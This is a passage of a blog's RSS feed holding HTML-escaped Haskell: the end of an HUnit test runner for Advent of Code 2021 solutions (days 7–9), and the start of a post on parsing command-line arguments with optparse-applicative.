&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Min fuel needed to align horizontal postions under increasing burn rate &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;168&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;TreacheryOfWhales&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;minFuelForAlignmentWithIncreasingBurnRate&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test07&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test07&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 07: The Treachery Of Whales&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testTreacheryOfWhales&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testSevenSegmentSearch&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testSevenSegmentSearch&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseSevenSegmentsDisplay&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/08-seven-segment-search.sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Num times 1, 4, 7, or 8 appears in output values &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numOf1478AppearancesInOutput&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Sum of output values &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;61229&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sumOfOutputValues&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test08&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test08&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 08: Seven Segment Search&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testSevenSegmentSearch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testSmokeBasin&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;testSmokeBasin&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseHeightMap&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/09-smoke-basin.sample.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Sum of the risk levels of all low points on heightmap &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SmokeBasin&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sumOfRiskLevelsOfLowPoints&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;assertEqual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Product of the 3 largest basins &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1134&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SmokeBasin&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;productOf3LargestBasins&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test09&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;test09&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 09: Smoke Basin&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;testSmokeBasin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;tests&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;tests&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;TestList&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt; &lt;span style="color:#111"&gt;test01&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test02&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test03&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test04&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test05&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test06&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test07&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test08&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;test09&lt;/span&gt; &lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;tests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test01&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test02&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test03&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test04&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test05&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test06&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test07&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test08&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;runTestTT&lt;/span&gt; &lt;span style="color:#111"&gt;test09&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runTest&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;Day &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;show&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34; has no associated test.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Counts&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runAoCSolutions&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runAoCSolutions&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt; &lt;span style="color:#111"&gt;d&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;runTest&lt;/span&gt; &lt;span style="color:#111"&gt;d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;main&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Counts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;main&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;runAoCSolutions&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style="color:#111"&gt;execParser&lt;/span&gt; &lt;span style="color:#111"&gt;opts&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;opts&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;info&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;aocArgParser&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;**&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;helper&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#111"&gt;fullDesc&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;progDesc&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Run tests for a given DAY of AoC 2021&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;header&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;A module for running tests for AoC 2021&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>AoC 2021 Parsing Arguments</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021Args/</link><pubDate>Mon, 11 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/src/AoC2021Args/</guid><description>&lt;h2 id="parsing-the-command-line"&gt;Parsing the Command Line&lt;/h2&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#haskellWikiCmdLineOpts"&gt;&lt;/a&gt;&lt;/span&gt; lists a couple of libraries. &lt;span class="citation-ref"&gt;&lt;a href="#optParse"&gt;&lt;/a&gt;&lt;/span&gt; and &lt;span class="citation-ref"&gt;&lt;a href="#CmdArgs"&gt;&lt;/a&gt;&lt;/span&gt; are the most popular options. Going with
&lt;span class="citation-ref"&gt;&lt;a href="#optParse"&gt;&lt;/a&gt;&lt;/span&gt; as it&amp;rsquo;s slightly more popular.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;{-# OPTIONS_GHC -Wall #-}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;module&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021Args&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;aocArgParser&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Options.Applicative&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Data.Semigroup&lt;/span&gt; &lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;data&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt; &lt;span style="color:#111"&gt;day&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;aocArgParser&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;aocArgParser&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;option&lt;/span&gt; &lt;span style="color:#111"&gt;auto&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#111"&gt;long&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;day&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;help&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;The day to run code for. Use &amp;#39;0&amp;#39; to run all of the solutions.&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;showDefault&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;value&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;metavar&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;DAY&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#75715e"&gt;-- The metavariable is displayed in the help text.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A type &lt;code&gt;a&lt;/code&gt; is a &lt;code&gt;Semigroup&lt;/code&gt; if it provides an associative function (&lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;) that
